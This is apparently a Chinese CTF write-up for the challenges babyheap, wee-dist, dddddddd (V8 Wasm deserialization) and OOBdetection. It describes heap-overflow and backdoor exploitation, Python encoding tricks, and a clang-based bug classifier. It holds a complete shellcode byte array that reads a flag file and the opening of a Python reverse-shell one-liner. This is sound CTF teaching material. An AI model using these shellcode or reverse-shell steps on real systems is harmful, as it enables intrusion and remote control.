babyheap
1 | GNU C Library (Ubuntu GLIBC 2.27-3ubuntu1.6) stable release version 2.27.\n |
1 | babyheap: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=e6f75306cf2d7daa795a02761ead04102edfcc4c, with debug_info, not stripped |
- 64位,Full RELRO,NX,PIE
漏洞分析
1 | void __cdecl babyheap::backdoor::haad830f8bf071aae(babyheap::HouseTbl *tbl, i32 i) |
- 在 “删除模块” 中有一个后门函数,要求
i==0x74737572
时触发后门
入侵思路
执行 dele(0x74737572)
有堆溢出,利用这个溢出可以完成泄露,并写 tcache->fd
1 | # -*- coding:utf-8 -*- |
wee-dist
先截两张图,用来表示我的疑惑:
内核信息如下:
1 | !/bin/bash |
1 | !/bin/sh |
比赛时被同名的 misc 题目给误导了,以为要打内核:
1 | diff --git a/core/include/tee/tee_svc.h b/core/include/tee/tee_svc.h |
实际上本题主要涉及到几个 python encoding 的问题
漏洞分析
1 | for line in lines[1:]: |
- python re 模块的
\d
通配符以及 int 函数会接受所有 unicode 数字作为输入
在 secure_sig
中含有后门:
1 | .text:00000D34 6D E9 02 7E STRD.W R7, LR, [SP,#-8]! |
1 | int sub_D34() |
- 可以执行
/tmp/rce
入侵思路
在二进制程序 secure_sig
中含有后门,可以执行 /tmp/rce
因此我们要先利用 handle_sign_message
往 /tmp/rce
中写入攻击脚本(最好是反弹 shell),不过这里有一个细节需要注意:
1 | with open(sig_file, "wb") as f: |
- 程序会调用
sign_message
1 | TEE_SECURE_SIG = "/usr/bin/secure_sig" |
subprocess.Popen
会打开并执行二进制程序secure_sig
,在其中会对写入的数据进行加密
函数 decode 默认使用 UTF-8 编码,如果字符串中包含大于 0x7f
的字符且不符合 UTF-8 的格式,会报错,从而不执行二进制程序 secure_sig 里面的文件覆盖操作
写入任意文件的脚本如下:
1 | s = '''python3 -c 'import socket,subprocess,os; |
- 该文件会获取一个反弹 shell
- 另外还需要注意一个细节,python encode 使用的默认编码方式是 UTF-8,如果遇到不合法的 UTF-8 字符,就会将其强行拆解为两个合法的字符:
1 | print(mess.encode("latin")) |
1 | print(mess.encode()) |
- 因此我们需要使用范围更大的 latin 编码
接下来就要在 secure_sig
中找寻漏洞,并执行后门函数,先看看传入的参数是什么:
1 | def check_signature(self, cl, body, sig): |
根据 check_signature
函数,我们可以写出类似的脚本进行调试:
1 | # -*- coding:utf-8 -*- |
- PS:其实调试出了一些问题,报了以下的错误(猜测是 TEEC 的原因,目前不知道怎么解决)
1 | secure_sig1: TEEC_InitializeContext(NULL, x): 0xffff0008 |
由于没法调试,因此最后的栈溢出过程没法复现了,完整 exp 如下:
1 | #!/usr/bin python3 |
dddddddd
V8 的 misc 题目
预期解
1 | From a5d68c2f29d0f688e3a5145c35111c4e491e4e37 Mon Sep 17 00:00:00 2001 |
- D8 Shell 里的 d8.serializer 没有删掉
- 补丁带回了以前 V8 里 ValueSerializer 反序列化 WasmModule 的功能
Wasm(WebAssembly) 是一种底层的汇编语言,能够在所有当代桌面浏览器及很多移动浏览器中以接近本地的速度运行
官方 exp 如下:
1 | const shellCode = new Uint8Array([0x48, 0xb8, 0x1, 0x1, 0x1, 0x1, 0x1, 0x1, 0x1, 0x1, 0x50, 0x48, 0xb8, 0x2e, 0x67, 0x6d, 0x60, 0x66, 0x1, 0x1, 0x1, 0x48, 0x31, 0x4, 0x24, 0x6a, 0x2, 0x58, 0x48, 0x89, 0xe7, 0x31, 0xf6, 0xf, 0x5, 0x41, 0xba, 0xff, 0xff, 0xff, 0x7f, 0x48, 0x89, 0xc6, 0x6a, 0x28, 0x58, 0x6a, 0x1, 0x5f, 0x99, 0xf, 0x5]); |
非预期解
本程序 ban 了 read,load 但还有一个 import 可以使用,所以直接:
1 | import("./flag") |
OOBdetection
本题目的意思就是提供一些代码,需要快速识别该代码中是否有漏洞,并说明漏洞类型
核心思路就是利用 clang 现成的检查机制来进行判断,因此需要把程序输出的代码写入 1.c
文件中,然后执行 clang:
1 | #! /usr/bin/env python2 |